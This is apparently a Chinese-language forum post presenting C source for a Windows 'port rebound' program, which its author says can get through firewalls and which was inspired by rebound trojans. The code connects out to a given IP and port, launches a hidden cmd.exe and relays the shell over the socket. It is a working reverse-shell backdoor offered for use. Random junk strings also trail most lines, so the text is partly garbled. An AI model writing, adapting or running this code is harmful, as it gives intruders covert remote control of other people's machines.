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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 a(`"qS  
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/* ============================== C6tfFS3bq  
Rebound port in Windows NT 7.yCs[Z  
By wind,2006/7 hx~rq `{  
===============================*/ q(#,X~0  
#include u~N'UD1x  
#include #V[Os!ns  
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#pragma comment(lib,"wsock32.lib") gHWsKE  %  
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void OutputShell(); NeewV=[%  
SOCKET sClient; (I1^nrDP.  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; H,!yG5yF  
QT"o"B  
void main(int argc,char **argv) .36]>8  
{ | gGD3H  
WSADATA stWsaData; Q'^$;X~-<  
int nRet; $D*Yhv!/  
SOCKADDR_IN stSaiClient,stSaiServer; fzjtaH?  
7zNfq.Ni~  
if(argc != 3) 7u%OYt D E  
{ \ tU[,3  
printf("Useage:\n\rRebound DestIP DestPort\n"); .z,`{-7U  
return; G$lE0_j2{  
} d8^S~7  
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WSAStartup(MAKEWORD(2,2),&stWsaData); a7z% )i;Z  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JWxSN9.X  
ae+*gkPv8  
stSaiClient.sin_family = AF_INET; 'L%)B-,n  
stSaiClient.sin_port = htons(0); c#fSt}J>C  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); - l0X]&Ex  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) wr6(C:  
{ WsmP]i^Q  
printf("Bind Socket Failed!\n"); k,/2]{#53d  
return; v@:m8Y(t  
} 5lE9UoG[Q  
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stSaiServer.sin_family = AF_INET; G/_8xmsU  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); #]wBXzu?  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); '"V]>)  
cMAY8$  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) h& Ezhv2  
{ "!o|^nN,  
printf("Connect Error!"); *Y ?&N2@c  
return; ,Mn?h\  
} %cq8%RT  
OutputShell(); g`H;~ w  
} uX&Tn1Kg  
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void OutputShell() ((fFe8Rn)q  
{ vPu {xy  
char szBuff[1024]; DPlmrN9@=  
SECURITY_ATTRIBUTES stSecurityAttributes; _&$nJu  
OSVERSIONINFO stOsversionInfo; ,LDdL  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; &WVRh=R  
STARTUPINFO stStartupInfo; >% E=l  
char *szShell; ;E\e.R  
PROCESS_INFORMATION stProcessInformation; <d3 a  
unsigned long lBytesRead; & c 81q2  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); %wmbFj}  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 9+frxD&pO  
stSecurityAttributes.lpSecurityDescriptor = 0;  11-?M  
stSecurityAttributes.bInheritHandle = TRUE; | +aD%'|  
w `>g^_xsg  
/| [%~`?BM  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); P)06<n1">Z  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); $w! v  
t&(\A,ch%  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); F#l!LER^1g  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1lHBg  
stStartupInfo.wShowWindow = SW_HIDE; t[bZg9;  
stStartupInfo.hStdInput = hReadPipe; V_H0z  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; "l-b(8n  
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GetVersionEx(&stOsversionInfo); ]nx5E_j2  
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switch(stOsversionInfo.dwPlatformId) D{iPsH6};5  
{ G -RE  
case 1: t",b.vki\z  
szShell = "command.com"; ]Cc8[ZC  
break; !4fT<V (  
default: Y ^}c+)t  
szShell = "cmd.exe"; WeS$$:ro  
break; P<R'S  
} f:/"OCig  
qa/VSk!{  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); *>7Zc  
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send(sClient,szMsg,77,0); 0d #jiG  
while(1) e\H1IR3  
{ YR0.m%U,  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); _n!W4zwi  
if(lBytesRead) Q+^"v]V`d  
{ h8?E+0  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 2~W8tv0^b2  
send(sClient,szBuff,lBytesRead,0); NAEAvXj  
} )E=~ _`XO  
else -ob1_0  
{ JA6#qlylL  
lBytesRead=recv(sClient,szBuff,1024,0); t;)`+K#1:  
if(lBytesRead<=0) break; ,gn**E  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 1H7 bPl|  
} 690;\O '  
} Zl=IZ?F   
'FmnlC1  
return; xw~&OF&  
}
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